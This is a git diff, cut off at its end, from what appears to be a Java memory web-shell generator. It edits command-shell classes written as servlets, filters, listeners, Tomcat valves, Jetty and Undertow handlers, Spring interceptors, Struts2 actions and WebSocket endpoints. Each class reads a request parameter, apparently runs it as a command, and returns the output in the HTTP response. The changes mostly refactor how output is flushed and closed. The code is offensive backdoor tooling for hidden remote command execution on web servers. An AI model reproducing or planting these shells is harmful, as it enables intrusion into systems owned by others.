diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java index 5ae8626e..ee1e0e36 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java @@ -27,6 +27,8 @@ public class Command { InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + outputStream.close(); return true; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java index 83bb6263..0fd14c53 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java @@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; +import java.util.Scanner; /** * @author ReaJason @@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller { if (p != null) { String param = getParam(p); InputStream inputStream = getInputStream(param); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); + response.getWriter().flush(); + response.getWriter().close(); } } catch (Throwable e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java index 4a1cc167..030c64ce 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java @@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; +import java.util.Scanner; /** * @author ReaJason @@ -25,12 +26,9 @@ public class CommandFilter implements Filter { if (p != null) { String param = getParam(p); InputStream inputStream = getInputStream(param); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); + response.getWriter().flush(); + response.getWriter().close(); return; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java index 6f00a08b..943cbafe 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java @@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor { String param = getParam(p); InputStream inputStream = getInputStream(param); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); + response.getWriter().flush(); + response.getWriter().close(); return false; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java index 5037f4e8..2a65eaf9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java @@ -43,6 +43,8 @@ public class CommandJettyAgentHandler { InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + outputStream.close(); if (baseRequest != null) { baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java index 8595f9c1..a37877b5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java @@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer { InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + outputStream.close(); invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true}); } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java index 78beb225..42a9b50f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java @@ -40,6 +40,8 @@ public class CommandJettyHandler { InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + outputStream.close(); return true; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java index bd6fde1a..0ab2430f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java @@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.InputStream; +import java.util.Scanner; /** * @author ReaJason @@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener { } if (p != null) { String param = getParam(p); - HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request); + HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request); InputStream inputStream = getInputStream(param); - ServletOutputStream outputStream = servletResponse.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); + response.getWriter().flush(); + response.getWriter().close(); } } catch (Throwable e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java index 55be5b40..af225cdf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java @@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; +import java.util.Scanner; /** * @author ReaJason @@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet { if (p != null) { String param = getParam(p); InputStream inputStream = getInputStream(param); - ServletOutputStream outputStream = response.getOutputStream(); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } + response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); + response.getWriter().flush(); + response.getWriter().close(); } } catch (Throwable e) { e.printStackTrace(); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java index 8505e2e8..9928c236 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java @@ -29,6 +29,7 @@ public class CommandStruct2Action { InputStream inputStream = getInputStream(param); response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next()); response.getWriter().flush(); + response.getWriter().close(); } } catch (Throwable ignored) { } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java index 2bc459d9..30784641 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java @@ -32,6 +32,8 @@ public class CommandUndertowServletHandler { InputStream inputStream = getInputStream(param); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); + outputStream.flush(); + outputStream.close(); return true; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java index 5632405c..f036150f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java @@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol { OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes()); outputStream.flush(); - inputStream.close(); + outputStream.close(); return true; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java index ca73dc8f..b77fbf15 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java @@ -26,6 +26,8 @@ public class CommandValve implements Valve { String param = getParam(p); InputStream inputStream = getInputStream(param); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); + response.getWriter().flush(); + response.getWriter().close(); return; } } catch (Throwable e) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java index 2e2008a8..2b94fd58 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java @@ -6,6 +6,7 @@ import javax.websocket.MessageHandler; import javax.websocket.Session; import java.io.ByteArrayOutputStream; import java.io.InputStream; +import java.util.Scanner; /** * wsMemShell @@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole